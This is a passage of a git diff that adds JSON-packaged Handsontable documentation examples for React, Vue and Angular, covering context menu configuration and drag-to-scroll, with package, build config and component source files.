    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example2\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/context-menu/react/example2.tsx","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example2","exampleTitle":"Context menu with selected options","docPermalink":"/context-menu","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__react__example3.tsx.json new file mode 100644 index 00000000..8da7d4b4 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__react__example3.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Context menu · Menu item configuration options · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example3\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { ContextMenu, DetailedSettings } from 'handsontable/plugins/contextMenu';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst contextMenuSettings: DetailedSettings = {\n callback(key, selection, clickEvent) {\n // Common callback for all options\n console.log(key, selection, clickEvent);\n },\n items: {\n row_above: {\n disabled() {\n // `disabled` can be a boolean or a function\n // Disable option when first row was clicked\n return this.getSelectedLast()?.[0] === 0; // `this` === hot\n },\n },\n // Use the dedicated separator constant to insert a separator line\n // (the key has to be unique)\n sp1: ContextMenu.SEPARATOR,\n row_below: {\n name: 'Click to add row below', // Set custom text for predefined option\n },\n about: {\n // Own custom option\n name() {\n // `name` can be a string or a function\n return 'Custom option'; // Name can contain HTML\n },\n hidden() {\n // `hidden` can be a boolean or a function\n // Hide the option when the first column was clicked\n return this.getSelectedLast()?.[1] == 0; // `this` === hot\n },\n callback() {\n // Callback for specific option\n setTimeout(() => {\n alert('Hello world!'); // Fire alert after menu close (with timeout)\n }, 0);\n },\n },\n colors: {\n // Own custom option\n name: 'Colors...',\n submenu: {\n // Custom option with submenu of items\n items: [\n {\n // Key must be in the form 'parent_key:child_key'\n key: 'colors:red',\n name: 'Red',\n callback() {\n setTimeout(() => {\n alert('You clicked red!');\n }, 0);\n },\n },\n { key: 'colors:green', name: 'Green' },\n { key: 'colors:blue', name: 'Blue' },\n ],\n },\n },\n credits: {\n // Own custom property\n // Custom rendered element in the context menu\n renderer() {\n const elem = document.createElement('marquee');\n\n elem.style.cssText = 'background: lightgray; color: #222222;';\n elem.textContent = 'Brought to you by...';\n\n return elem;\n },\n disableSelection: true, // Prevent mouseoever from highlighting the item for selection\n isCommand: false, // Prevent clicks from executing command and closing the menu\n },\n },\n};\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/context-menu/react/example3.tsx","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example3","exampleTitle":"Menu item configuration options","docPermalink":"/context-menu","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__react__example4.tsx.json new file mode 100644 index 00000000..e45ac09b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Accessories And Menus ▸ Context menu · Context menu with custom options · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/react-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
    \n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport { ContextMenu } from 'handsontable/plugins/contextMenu';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/accessories-and-menus/context-menu/react/example4.tsx","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example4","exampleTitle":"Context menu with custom options","docPermalink":"/context-menu","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__vue__example1.vue.json new file mode 100644 index 00000000..92ad5733 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__vue__example1.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Context menu · Standard example · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example1\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/context-menu/vue/example1.vue","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/context-menu","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__vue__example2.vue.json new file mode 100644 index 00000000..072022af --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__vue__example2.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Context menu · Context menu with selected options · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example2\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/context-menu/vue/example2.vue","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example2","exampleTitle":"Context menu with selected options","docPermalink":"/context-menu","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__vue__example3.vue.json new file mode 100644 index 00000000..af1eded0 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__vue__example3.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Context menu · Menu item configuration options · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example3\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/context-menu/vue/example3.vue","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example3","exampleTitle":"Menu item configuration options","docPermalink":"/context-menu","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__vue__example4.vue.json new file mode 100644 index 00000000..911bd29f --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__context-menu__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Accessories And Menus ▸ Context menu · Context menu with custom options · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/vue3\": \"0.0.0-next-64139ae-20260219\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
    \n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/accessories-and-menus/context-menu/vue/example4.vue","breadcrumb":["Accessories And Menus","Context menu"],"guide":"guides/accessories-and-menus/context-menu/context-menu.md","guideTitle":"Context menu","exampleId":"example4","exampleTitle":"Context menu with custom options","docPermalink":"/context-menu","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__angular__example1.ts.json new file mode 100644 index 00000000..42559ada --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__angular__example1.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Drag to scroll · Standard example · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n// Build column headers: 'Cost Center' + 49 monthly labels (Jan 2021 … Jan 2025)\nconst months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];\nconst colHeaders: string[] = ['Cost Center'];\nlet year = 2021;\nlet monthIndex = 0;\n\nwhile (colHeaders.length < 50) {\n colHeaders.push(`${months[monthIndex]} ${year}`);\n monthIndex += 1;\n\n if (monthIndex >= months.length) {\n monthIndex = 0;\n year += 1;\n }\n}\n\n// Build 50 rows of budget data\nconst tableData: (string | number)[][] = [];\n\nfor (let row = 0; row < 50; row++) {\n const rowData: (string | number)[] = [`CC-${1000 + row}`];\n\n for (let col = 0; col < 49; col++) {\n rowData.push(2000 + row * 100 + col * 50);\n }\n\n tableData.push(rowData);\n}\n\n@Component({\n selector: 'app-example1',\n standalone: true,\n imports: [HotTableModule],\n template: `\n \n `,\n})\nexport class AppComponent {\n readonly hotData = tableData;\n\n readonly hotSettings: GridSettings = {\n colHeaders,\n width: 500,\n height: 220,\n rowHeaders: true,\n dragToScroll: true,\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport {\n HOT_GLOBAL_CONFIG,\n HotGlobalConfig,\n NON_COMMERCIAL_LICENSE,\n} from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/drag-to-scroll/angular/example1.ts","breadcrumb":["Accessories And Menus","Drag to scroll"],"guide":"guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md","guideTitle":"Drag to scroll","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/drag-to-scroll","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__angular__example2.ts.json new file mode 100644 index 00000000..e1f3f01e --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__angular__example2.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Accessories And Menus ▸ Drag to scroll · Configure scroll speed · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"0.0.0-next-64139ae-20260219","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"0.0.0-next-64139ae-20260219\",\n \"@handsontable/angular-wrapper\": \"0.0.0-next-64139ae-20260219\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
    \n \n
    \n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule } from '@handsontable/angular-wrapper';\n\n// Build column headers: 'Cost Center' + 49 monthly labels (Jan 2021 … Jan 2025)\nconst months = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'];\nconst colHeaders: string[] = ['Cost Center'];\nlet year = 2021;\nlet monthIndex = 0;\n\nwhile (colHeaders.length < 50) {\n colHeaders.push(`${months[monthIndex]} ${year}`);\n monthIndex += 1;\n\n if (monthIndex >= months.length) {\n monthIndex = 0;\n year += 1;\n }\n}\n\n// Build 50 rows of budget data\nconst tableData: (string | number)[][] = [];\n\nfor (let row = 0; row < 50; row++) {\n const rowData: (string | number)[] = [`CC-${1000 + row}`];\n\n for (let col = 0; col < 49; col++) {\n rowData.push(2000 + row * 100 + col * 50);\n }\n\n tableData.push(rowData);\n}\n\n@Component({\n selector: 'app-example2',\n standalone: true,\n imports: [HotTableModule],\n template: `\n
    \n
    \n \n \n \n
    \n \n
    \n `,\n})\nexport class AppComponent {\n readonly hotData = tableData;\n\n intervalMin = 20;\n intervalMax = 500;\n rampDistance = 120;\n\n hotSettings: GridSettings = {\n colHeaders,\n width: 500,\n height: 220,\n rowHeaders: true,\n // Configurable `interval`/`rampDistance` for `dragToScroll` is not available in 17.1.0, where\n // the option is typed as `boolean`. The cast keeps the example compiling against 17.1.0; at\n // runtime the object is truthy, so drag-to-scroll is enabled (the custom speed is ignored there).\n dragToScroll: {\n interval: { min: this.intervalMin, max: this.intervalMax },\n rampDistance: this.rampDistance,\n } as unknown as GridSettings['dragToScroll'],\n };\n\n onSliderChange(event: Event, field: 'intervalMin' | 'intervalMax' | 'rampDistance'): void {\n this[field] = Number((event.target as HTMLInputElement).value);\n this.sync();\n }\n\n sync(): void {\n this.hotSettings = {\n ...this.hotSettings,\n dragToScroll: {\n interval: { min: this.intervalMin, max: this.intervalMax },\n rampDistance: this.rampDistance,\n } as unknown as GridSettings['dragToScroll'],\n };\n }\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport {\n HOT_GLOBAL_CONFIG,\n HotGlobalConfig,\n NON_COMMERCIAL_LICENSE,\n} from '@handsontable/angular-wrapper';\n\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/accessories-and-menus/drag-to-scroll/angular/example2.ts","breadcrumb":["Accessories And Menus","Drag to scroll"],"guide":"guides/accessories-and-menus/drag-to-scroll/drag-to-scroll.md","guideTitle":"Drag to scroll","exampleId":"example2","exampleTitle":"Configure scroll speed","docPermalink":"/drag-to-scroll","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/next/guides__accessories-and-menus__drag-to-scroll__javascript__example1.js.json new file mode 100644 index 00000000..45129ed5 --- /dev/null +++ 